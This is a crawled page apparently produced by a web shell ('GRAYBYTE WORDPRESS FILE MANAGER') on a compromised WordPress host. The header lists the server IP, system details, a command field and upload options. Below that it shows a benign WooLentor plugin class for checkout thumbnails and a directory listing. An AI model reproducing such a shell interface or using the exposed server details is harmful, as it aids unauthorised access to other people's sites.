GRAYBYTE WORDPRESS FILE MANAGER4154

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/nioscentre.in/wp-content/plugins/woolentor-addons/classes/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/nioscentre.in/wp-content/plugins/woolentor-addons/classes//class.page_action.php
<?php
/**
* WooLentor_Page_Action
*/
class WooLentor_Page_Action{

    /**
     * [$instance]
     * @var null
     */
    private static $instance   = null;

    /**
     * [$product_id]
     * @var null
     */
    private static $product_id = null;

    /**
     * [instance] Initializes a singleton instance
     * @return [WooLentor_Page_Action]
     */
    public static function instance() {
        if ( is_null( self::$instance ) ) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    public function init(){
        $this->checkout_page();
    }

    /*
    * Manage Checkout page action
    */
    public function checkout_page(){
        $template_page_id = Woolentor_Template_Manager::instance()->get_template_id( 'productcheckoutpage' );
        if( empty( $template_page_id ) || !is_plugin_active('woolentor-addons-pro/woolentor_addons_pro.php') ){
            return;
        }

        add_action( 'woocommerce_cart_item_name', [ $this, 'add_product_thumbnail' ], 10, 3 );
        add_action( 'woocommerce_cart_item_class', [ $this, 'add_css_class_in_product_tr' ], 10, 3 );

        add_action( 'woocommerce_checkout_cart_item_quantity', '__return_null', 10, 3 );

    }

    /*
    * Table Row CSS class add in checkout page order overview table row
    */
    public function add_css_class_in_product_tr( $css_class , $cart_item, $cart_item_key ){
        if ( ! is_checkout() ) return $css_class;
        return  $css_class.' woolentor-order-review-product';
    }

    /*
    * Add Product image to checkout page order overview table
    */
    public function add_product_thumbnail( $product_name, $cart_item, $cart_item_key ){
        if ( ! is_checkout() ) return $product_name;

        $_product = $cart_item['data'];

        //$remove_icon = sprintf( '<a href="%s" class="remove" title="%s" data-product_id="%s" data-product_sku="%s">&times;</a>', esc_url( wc_get_cart_remove_url( $cart_item_key ) ), __( 'Delete', 'woolentor' ), esc_attr( $cart_item['product_id'] ), esc_attr( $_product->get_sku() ));
        
        $thumbnail  =  sprintf('<span class="product-thumbnail">%s</span>', $_product->get_image('thumbnail') );
        $title      = sprintf('<span class="product-title">%s <strong class="product-quantity">&times;&nbsp;%s</strong>%s</span>', $product_name, $cart_item['quantity'], wc_get_formatted_cart_item_data( $cart_item ) );

        return sprintf( '<span class="woolentor-order-item-title">%s %s</span>', $thumbnail, $title );

    }


}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 04 2025 08:32:06
giriqfky / giriqfky
0755
class.ajax_actions.php
7.966 KB
October 24 2024 07:32:34
giriqfky / giriqfky
0644
class.assest_management.php
15.554 KB
April 16 2025 09:07:38
giriqfky / giriqfky
0644
class.default_data.php
26.656 KB
April 01 2024 07:59:00
giriqfky / giriqfky
0644
class.icon_list.php
10.271 KB
April 11 2021 08:41:48
giriqfky / giriqfky
0644
class.installer.php
1.239 KB
August 12 2024 09:28:58
giriqfky / giriqfky
0644
class.multi_language.php
1.952 KB
October 07 2024 13:14:24
giriqfky / giriqfky
0644
class.page_action.php
2.472 KB
November 13 2022 10:00:24
giriqfky / giriqfky
0644
class.product_query.php
10.952 KB
May 04 2025 09:26:14
giriqfky / giriqfky
0644
class.third_party.php
1.033 KB
September 20 2022 07:59:24
giriqfky / giriqfky
0644
class.widgets_control.php
35.365 KB
April 01 2024 07:59:00
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF